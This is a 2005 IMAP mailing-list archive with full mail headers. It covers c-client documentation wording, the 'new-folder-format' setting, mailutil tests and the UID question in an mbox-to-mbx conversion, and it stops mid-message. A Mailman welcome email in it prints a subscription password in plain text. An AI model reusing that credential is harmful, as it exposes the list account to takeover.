(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 18 Apr 2005 16:15:32 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3INFVkW027169; Mon, 18 Apr 2005 16:15:31 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3INFV1U032023 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 18 Apr 2005 16:15:31 -0700 Message-Id: Date: Mon, 18 Apr 2005 16:15:34 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Brand Cc: c-client@u.washington.edu Subject: Re: possible imaprc.txt erratum In-Reply-To: <426370CF.4010407@n200.com> References: <426370CF.4010407@n200.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.143 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The text is correct. If INBOX is an empty file, it defaults to the system standard (which is traditional UNIX format on most systems, but MMDF on SCO). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Apr 19 00:05:20 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Apr 2005 00:05:20 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3J75K9N023941 for ; Tue, 19 Apr 2005 00:05:20 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3J75ILu026386 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 19 Apr 2005 00:05:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3J75Bp1018352; Tue, 19 Apr 2005 00:05:11 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3J73x4E041806 for ; Tue, 19 Apr 2005 00:03:59 -0700 Received: from mail.n200.com (x.xs4all.nl [194.109.237.135]) by mxe4.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3J73wQE029586 for ; Tue, 19 Apr 2005 00:03:58 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.n200.com (Postfix) with ESMTP id AA49535FEF; Tue, 19 Apr 2005 09:02:56 +0200 (CEST) Received: from mail.n200.com ([127.0.0.1]) by localhost (postman [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 05422-01; Tue, 19 Apr 2005 09:02:53 +0200 (CEST) Received: from [192.168.9.75] (unknown [213.201.178.215]) by mail.n200.com (Postfix) with ESMTP id 9DCC41A365; Tue, 19 Apr 2005 09:02:52 +0200 (CEST) Message-Id: <4264AD1A.4080207@n200.com> Date: Tue, 19 Apr 2005 09:02:50 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Brand To: Mark Crispin , c-client@u.washington.edu Subject: Re: possible imaprc.txt erratum In-Reply-To: References: <426370CF.4010407@n200.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Accept-Language: en, nl, es X-Virus-Scanned: by amavisd-new at n200.com X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.15 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, > The text is correct. If INBOX is an empty file, it defaults to the > system standard (which is traditional UNIX format on most systems, but > MMDF on SCO). > I see your point. "Empty" means empty in the sense of "contains zero bytes" rather than "contains zero messages" (since it describes a file rather than a mail folder). I was thinking that the passage neglected to specify what happens if the mail folder file INBOX does not exist, but then I realized that I was making another subtle misinterpretation. I think I grasp now that INBOX is the imap abstraction equivalent to the mail folder INBOX in $HOME or, when this does not exist, the incoming mail spool file. But still, even with this understanding, what happens if there is no INBOX at all? Mark From pinedev@shivax2.cac.washington.edu Tue Apr 19 00:50:14 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Apr 2005 00:50:14 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3J7oEXK025548 for ; Tue, 19 Apr 2005 00:50:14 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3J7oDTV028377 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 19 Apr 2005 00:50:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3J7o6gU012694; Tue, 19 Apr 2005 00:50:06 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3J7nKiW122086 for ; Tue, 19 Apr 2005 00:49:20 -0700 Received: from mail.n200.com (x.xs4all.nl [194.109.237.135]) by mxe2.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3J7nJkL010857 for ; Tue, 19 Apr 2005 00:49:20 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.n200.com (Postfix) with ESMTP id 979A935FF1; Tue, 19 Apr 2005 09:48:18 +0200 (CEST) Received: from mail.n200.com ([127.0.0.1]) by localhost (postman [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 05376-05; Tue, 19 Apr 2005 09:48:15 +0200 (CEST) Received: from [192.168.9.75] (unknown [213.201.178.215]) by mail.n200.com (Postfix) with ESMTP id 7E5AA35FE9; Tue, 19 Apr 2005 09:48:15 +0200 (CEST) Message-Id: <4264B7C0.70504@n200.com> Date: Tue, 19 Apr 2005 09:48:16 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Brand To: Mark Crispin , c-client@u.washington.edu Subject: Re: set new-folder-format same-as-inbox broken? In-Reply-To: References: <4263707C.4060702@n200.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Accept-Language: en, nl, es X-Virus-Scanned: by amavisd-new at n200.com X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.14 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >> Could it be that "set new-folder-format same-as-inbox" documented in >> does not >> work in imap-2004c1? I have done a bunch of tests with this and it seems >> to have no effect when the INBOX is in mbx format. > > It works for me. I just tried it. Note that an mbx-format INBOX must > exist in order for this to work. > Sorry about the false alarm. For some reason I can't reproduce the problem anymore either (still using Mozilla as client). The only difference I can point to between now and then is an update from Mozilla 1.7.6 to 1.7.7, but this seems like an impossible explanation. I'll assume that I made a mistake (several times) during my testing. Maybe the imap connection was persisting during the various versions of c-client.cf and the file is only read once when imapd starts (invoked by inetd). Still, I am puzzled because I restarted Mozilla several times intending to rule out this possible effect. "Mailutil create" is not affected by "set new-folder-format same-as-inbox", but I think this is by design. Mark From pinedev@shivax2.cac.washington.edu Tue Apr 19 01:03:37 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Apr 2005 01:03:37 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3J83bot026422 for ; Tue, 19 Apr 2005 01:03:37 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3J83aYE028935 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 19 Apr 2005 01:03:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3J83Vcm008508; Tue, 19 Apr 2005 01:03:31 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3J82nQ4048948 for ; Tue, 19 Apr 2005 01:02:49 -0700 Received: from mail.n200.com (x.xs4all.nl [194.109.237.135]) by mxe4.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3J82mx4012543 for ; Tue, 19 Apr 2005 01:02:48 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.n200.com (Postfix) with ESMTP id 5481F35FF1; Tue, 19 Apr 2005 10:01:47 +0200 (CEST) Received: from mail.n200.com ([127.0.0.1]) by localhost (postman [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 05376-07; Tue, 19 Apr 2005 10:01:45 +0200 (CEST) Received: from [192.168.9.75] (unknown [213.201.178.215]) by mail.n200.com (Postfix) with ESMTP id 8FEB035FF0; Tue, 19 Apr 2005 10:01:45 +0200 (CEST) Message-Id: <4264BAEA.6060007@n200.com> Date: Tue, 19 Apr 2005 10:01:46 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Brand To: Mark Crispin , c-client@u.washington.edu Subject: Re: set new-folder-format same-as-inbox broken? In-Reply-To: References: <4263707C.4060702@n200.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Accept-Language: en, nl, es X-Virus-Scanned: by amavisd-new at n200.com X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.15 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >> Could it be that "set new-folder-format same-as-inbox" documented in >> does not >> work in imap-2004c1? I have done a bunch of tests with this and it seems >> to have no effect when the INBOX is in mbx format. > > It works for me. I just tried it. Note that an mbx-format INBOX must > exist in order for this to work. > The plot thickens: Now I see that mailutil create is affected by "set new-folder-format mbx" but not by "set new-folder-format same-as-inbox". brand@postman:~/mail> cat /etc/c-client.cf I accept the risk # uncomment this if you want plaintext logins w/o ssl (a bad idea) set disable-plaintext 0 # uncomment this if you want $HOME/.imaprc to work for individual users # set allow-user-config T # don't allow people to use .. and ~ in mailbox expressions (cleaner) # set restrict-mailbox-access all set new-folder-format mbx #set new-folder-format same-as-inbox brand@postman:~/mail> mailutil create mail/test brand@postman:~/mail> file test test: MBX mail folder brand@postman:~/mail> cat /etc/c-client.cf I accept the risk # uncomment this if you want plaintext logins w/o ssl (a bad idea) set disable-plaintext 0 # uncomment this if you want $HOME/.imaprc to work for individual users # set allow-user-config T # don't allow people to use .. and ~ in mailbox expressions (cleaner) # set restrict-mailbox-access all #set new-folder-format mbx set new-folder-format same-as-inbox brand@postman:~/mail> mailutil create mail/test2 brand@postman:~/mail> file test2 test2: ASCII English text brand@postman:~/mail> file ~/INBOX /home/brand/INBOX: MBX mail folder brand@postman:~/mail> From pinedev@shivax2.cac.washington.edu Tue Apr 19 08:55:53 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Apr 2005 08:55:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3JFtrsM012169 for ; Tue, 19 Apr 2005 08:55:53 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3JFtpn7015439 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 19 Apr 2005 08:55:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3JFtgfx005232; Tue, 19 Apr 2005 08:55:42 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3JFsWEB057484 for ; Tue, 19 Apr 2005 08:54:32 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3JFsUuU016064 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 19 Apr 2005 08:54:30 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3JFsTvB026610; Tue, 19 Apr 2005 08:54:29 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3JFsTet028889 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Tue, 19 Apr 2005 08:54:29 -0700 Message-Id: Date: Tue, 19 Apr 2005 08:54:29 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Brand Cc: c-client@u.washington.edu Subject: Re: possible imaprc.txt erratum In-Reply-To: <4264AD1A.4080207@n200.com> References: <426370CF.4010407@n200.com> <4264AD1A.4080207@n200.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.143 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 19 Apr 2005, Mark Brand wrote: > But still, even with this understanding, what happens > if there is no INBOX at all? That's where magic begins. You'll have to read the code in the dummy driver to understand. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Apr 19 12:29:02 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Apr 2005 12:29:02 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3JJT2YP022346 for ; Tue, 19 Apr 2005 12:29:02 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3JJT0VV028715 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 19 Apr 2005 12:29:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3JJStQ1017782; Tue, 19 Apr 2005 12:28:55 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3JJRfTD046840 for ; Tue, 19 Apr 2005 12:27:41 -0700 Received: from mail.n200.com (x.xs4all.nl [194.109.237.135]) by mxe3.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3JJReQ6004464 for ; Tue, 19 Apr 2005 12:27:40 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.n200.com (Postfix) with ESMTP id 2043036015; Tue, 19 Apr 2005 21:26:39 +0200 (CEST) Received: from mail.n200.com ([127.0.0.1]) by localhost (postman [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 08115-01; Tue, 19 Apr 2005 21:26:37 +0200 (CEST) Received: from mail.n200.com (localhost [127.0.0.1]) by mail.n200.com (Postfix) with ESMTP id 1E9DD35F71; Tue, 19 Apr 2005 21:26:37 +0200 (CEST) Received: from 192.168.10.7 (SquirrelMail authenticated user brand) by mail.n200.com with HTTP; Tue, 19 Apr 2005 21:26:37 +0200 (CEST) Message-Id: <3231.192.168.10.7.1113938797.squirrel@mail.n200.com> Date: Tue, 19 Apr 2005 21:26:37 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Mark Brand" To: "Mark Crispin" Cc: c-client@u.washington.edu Subject: Re: possible imaprc.txt erratum In-Reply-To: References: <426370CF.4010407@n200.com> MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-Virus-Scanned: by amavisd-new at n200.com X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.137 X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_PRIORITY 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >> But still, even with this understanding, what happens >> if there is no INBOX at all? > > That's where magic begins. You'll have to read the code in the dummy > driver to understand. > Now that you mention it, I had noticed a number of almost supernatural properties in imap. Probably because the documentation is otherwise so thorough, the omission of this case, slight as it is, sort of stands out. From pinedev@shivax2.cac.washington.edu Wed Apr 20 08:40:50 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Apr 2005 08:40:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3KFeoWN006285 for ; Wed, 20 Apr 2005 08:40:50 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3KFenui025445 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 20 Apr 2005 08:40:50 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3KFenbc016689 for ; Wed, 20 Apr 2005 08:40:49 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: Welcome to the "Imap-uw" mailing list From: imap-uw-request@mailman1.u.washington.edu To: c-client-arch@cac.washington.edu X-No-Archive: yes Message-ID: Date: Wed, 20 Apr 2005 08:31:45 -0700 Precedence: bulk X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 List-Id: imap-uw.u.washington.edu X-List-Administrivia: yes Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Welcome to the Imap-uw@u.washington.edu mailing list! To post to this list, send your email to: imap-uw@u.washington.edu General information about the mailing list is at: https://mailman1.u.washington.edu/mailman/listinfo/imap-uw If you ever want to unsubscribe or change your options (eg, switch to or from digest mode, change your password, etc.), visit your subscription page at: https://mailman1.u.washington.edu/mailman/options/imap-uw/c-client-arch%40cac.washington.edu If you have a UW NetID, you can use the UW Login to change your options. If you do not have a UW NetID, then you must know your password to change your options (including changing the password, itself) or to unsubscribe. It is: efgoux If you forget this password, there is a button on your options page that will email your current password to you. From pinedev@shivax2.cac.washington.edu Wed Apr 20 13:41:48 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Apr 2005 13:41:47 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3KKfl0G020949 for ; Wed, 20 Apr 2005 13:41:47 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3KKfkh7006218 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 20 Apr 2005 13:41:47 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3KKfKQL012176; Wed, 20 Apr 2005 13:41:20 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3KKfIUG012168 for ; Wed, 20 Apr 2005 13:41:18 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3KKfH2n029820 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 20 Apr 2005 13:41:18 -0700 Received: from homer03.u.washington.edu (homer03.u.washington.edu [140.142.15.37]) by mxout4.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3KKfH0U025781 for ; Wed, 20 Apr 2005 13:41:17 -0700 Received: from localhost (hugh@localhost) by homer03.u.washington.edu (8.13.3+UW05.01/8.13.4+UW05.04) with ESMTP id j3KKfGeK165268 for ; Wed, 20 Apr 2005 13:41:17 -0700 Date: Wed, 20 Apr 2005 13:41:16 -0700 (PDT) From: Hugh Sheets To: imap-uw@u.washington.edu Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Subject: [Imap-uw] c-client library and UW imapd mailing list X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu The c-client@u.washington.edu mailing list has been retired, and replaced by the following mailing list: imap-uw@u.washington.edu UW IMAP toolkit questions Customers subscribed to the former c-client@u.washington.edu c-client library and UW imapd mailing list have been subscribed to the new mailing list. See http://www.washington.edu/imap/ for more information. Hugh Sheets Manager, Messaging Solutions IT Infrastructure Distributed Systems University of Washington _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Apr 21 06:28:18 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Apr 2005 06:28:18 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3LDSIRj023688 for ; Thu, 21 Apr 2005 06:28:18 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LDSHjM015607 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Apr 2005 06:28:18 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LDS8E6009155; Thu, 21 Apr 2005 06:28:08 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LDS7G1009147 for ; Thu, 21 Apr 2005 06:28:07 -0700 Received: from bureau14.utcc.utoronto.ca (bureau14.utcc.utoronto.ca [128.100.132.42]) by mxe3.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.04) with ESMTP id j3LDS6tl019652 for ; Thu, 21 Apr 2005 06:28:06 -0700 Received: from cicely.cns.utoronto.ca ([128.100.103.144] EHLO [127.0.0.1] ident: IDENT-NOT-QUERIED [port 4330]) by bureau14.utcc.utoronto.ca with ESMTP id <890096-2363>; Thu, 21 Apr 2005 09:27:55 -0400 Message-ID: <4267AA5D.5070702@utoronto.ca> Date: Thu, 21 Apr 2005 09:27:57 -0400 From: Darren Jacobs User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin References: <425FE9F9.7060107@utoronto.ca> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.137 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu Subject: [Imap-uw] Re: location of uid of a message in a mbx folder X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Mark Crispin wrote: > On Fri, 15 Apr 2005, Darren Jacobs wrote: > >> I'm trying to track down where message uid is encoded in a message in >> a mbx mail folder? > > > In general, you should not worry about the format of an mbx mailbox > unless you need to repair one. In particular, you should use the > c-client library to access mbx mailboxes and not write your own code > to do so; the mbx mailbox locking protocol is quite complex and it is > easy to make a mistake. > > The UID is stored in the per-message line as the last field (following > the hyphen). That is, with a per-message-line of: > 16-Mar-2000 00:51:24 -0800,6726;000000100009-0000087b > > INTERNALDATE: 16-Mar-2000 00:51:24 -0800 > RFC822.SIZE: 6726 > FLAGS: 000000100009 > UID: 0000087b > > -- Mark -- > To do what I'm trying to do the c-client will be only partially helpful. Let me explain. We're considering doing a mass conversion of user INBOX's into mbx format (from mbox format). Using the 'mailutil copy' command to do the conversion works fine, but it zero's out the message uid values. We still have a lot of pop users who leave their mail on the server and we're concerned that simply doing the conversion they will end up downloading duplicates of their messages the next time they log in. What I'm writing is a utility to parse the mbox INBOX prior to conversion to get all the message uid's (this is where I use the c-client api) and write these uids into the new mbx INBOX messages. I've tried two ways of getting to the message headers in the mbx INBOX's: (1) looping through the folder searching the regex: '/(\d|\d\d)\-[JFMASOND][a-z][a-z]\-\d\d\d\d\s[0-1]\d\:[0-5]\d\:\d\d/' (2) 